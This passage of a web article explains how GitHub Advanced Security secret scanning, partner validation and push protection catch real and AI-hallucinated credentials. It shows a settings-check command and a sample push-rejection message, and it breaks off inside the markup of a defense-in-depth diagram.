Problem)\u003c/h3\u003e\n\u003cp\u003eAn LLM is a statistical pattern matcher. It knows what an Azure SAS token \u003cem\u003eshould\u003c/em\u003e look like. When helping you draft a connection string, it often generates a realistic placeholder. Traditional scanners cannot distinguish these hallucinations from real keys by pattern alone, leading to thousands of false positives. This \u0026ldquo;cry wolf\u0026rdquo; effect is an operational risk; your team, overwhelmed by noise, starts dismissing real alerts.\u003c/p\u003e\n\u003ch2 id=\"2-github-advanced-security-the-detection-layer\"\u003e2. GitHub Advanced Security: The Detection Layer\u003c/h2\u003e\n\u003cp\u003eGitHub Advanced Security (GHAS) is the primary detection engine for both real and hallucinated secrets. In 2026, the focus has shifted from \u0026ldquo;Pattern Matching\u0026rdquo; to \u0026ldquo;Contextual Verification.\u0026rdquo;\u003c/p\u003e\n\u003ch3 id=\"ai-powered-scanning\"\u003eAI-Powered Scanning\u003c/h3\u003e\n\u003cp\u003eLaunched in late 2024, GHAS now uses contextual AI to detect \u0026ldquo;unstructured\u0026rdquo; secrets like passwords and high-entropy keys that regex patterns miss. This context-aware engine can distinguish between a hardcoded password and a random hash, reducing false positive noise by up to 94%.\u003c/p\u003e\n\u003ch3 id=\"partner-validation-prioritizing-the-74\"\u003ePartner Validation: Prioritizing the 7.4%\u003c/h3\u003e\n\u003cp\u003eThe most critical feature for 2026 is \u003cstrong\u003ePartner Validation\u003c/strong\u003e. When GHAS detects a potential Azure, AWS, or GitHub secret, it automatically calls the provider\u0026rsquo;s API to verify if the token is \u0026ldquo;Active.\u0026rdquo; Verified-active credentials trigger a high-severity alert and appear with an \u0026ldquo;Active\u0026rdquo; badge in the security timeline, letting you ignore hallucinations and focus on the critical 7.4% of real leaks.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Verify secret scanning is active for your org via GitHub CLI\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Replace {org} with your GitHub organization name\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egh api /orgs/\u003cspan style=\"color:#f92672\"\u003e{\u003c/span\u003eorg\u003cspan style=\"color:#f92672\"\u003e}\u003c/span\u003e/properties/code_security_and_analysis\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"3-push-protection-blocking-at-the-source\"\u003e3. Push Protection: Blocking at the Source\u003c/h2\u003e\n\u003cp\u003ePrevention is superior to remediation. \u003cstrong\u003ePush Protection\u003c/strong\u003e intercepts a \u003ccode\u003egit push\u003c/code\u003e containing a known secret \u003cem\u003ebefore\u003c/em\u003e the commit lands on the remote server.\u003c/p\u003e\n\u003ch3 id=\"customizing-your-experience\"\u003eCustomizing Your Experience\u003c/h3\u003e\n\u003cp\u003eWhen a push is blocked, you see a CLI error. In 2026, administrators can add a \u003cstrong\u003eCustom Link\u003c/strong\u003e to this output. Point this link to your internal \u0026ldquo;Secret Rotation Runbook\u0026rdquo; or a self-service portal for security assistance.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eremote: error: GH007: Your push would publish a secret.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eremote: - Secret found: Azure Storage Account Key\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eremote: - File: config/azure.json\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eremote: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eremote: [CORP SECURITY]: For rotation steps, visit https://sec.corp/rotate\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAny bypass of push protection is logged as \u003ccode\u003esecret_scanning_push_protection.bypass\u003c/code\u003e. Treat these events as security incidents and monitor them via the GitHub Audit Log.\u003c/p\u003e\n\u003ch3 id=\"defense-in-depth-for-secrets-2026\"\u003eDefense-in-Depth for Secrets (2026)\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 496 313\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 0,0 L 480,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,48 L 240,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,48 L 480,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,80 L 232,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,80 L 480,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,128 L 240,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,128 L 480,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,160 L 232,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,160 L 480,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,208 L 240,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,208 L 480,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,240 L 232,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,240 L 480,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,288 L 480,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,0 L 0,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,80 L 0,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,160 L 0,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,240 L 0,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,48 L 240,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,128 L 240,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,208 L 240,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 480,0 L 480,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 480,80 L 480,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 480,160 L 480,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 480,240 L 480,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='248.000000,80.000000 236.000000,74.400002 236.000000,85.599998' fill='currentColor' transform='rotate(90.000000, 240.000000, 80.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='248.000000,160.000000 236.000000,154.399994 236.000000,165.600006' fill='currentColor' transform='rotate(90.000000, 240.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='248.000000,240.000000 236.000000,234.399994 236.000000,245.600006' fill='currentColor' transform='rotate(90.000000, 240.000000, 240.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='24' y='36' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='116' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='196' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='276' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='116' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='196' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='276' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='196' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='116' fill='currentColor' style='font-size:1em'\u003eq\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='276' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='116' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='276' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='276' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='196' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='276' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='276' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='116' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='196' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='276' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='196' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='116' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='116' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='196' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='276' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='116' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='196' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='116' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='276' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='196' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='276' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='100' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='116' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='180' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='260' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='276' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='260' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='276' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='196' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='260' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='276' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='196' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='260' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='276' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='116' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='276' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='20' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='100' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='180' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='196' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='260' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='20' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='100' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='180' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='260' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='276' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='116' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='276' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='20' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='36' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='100' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='116' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='180' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='260' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='276' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='36' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='100' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='180' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='260' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='276' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='100' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='180' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='260' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='276' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='36' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='100' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='116' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='180' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='260' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='20' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='100' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='260' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='20' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='116' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='180' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='196' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='276' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='100' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='196' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='260' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='276' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='20' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='36' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='116' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='196' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='260' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='276' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='20' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='100' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='116' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='260' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='276' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='196' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='260' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='276' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='180' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='260' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='196' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='260' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='276' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='20' 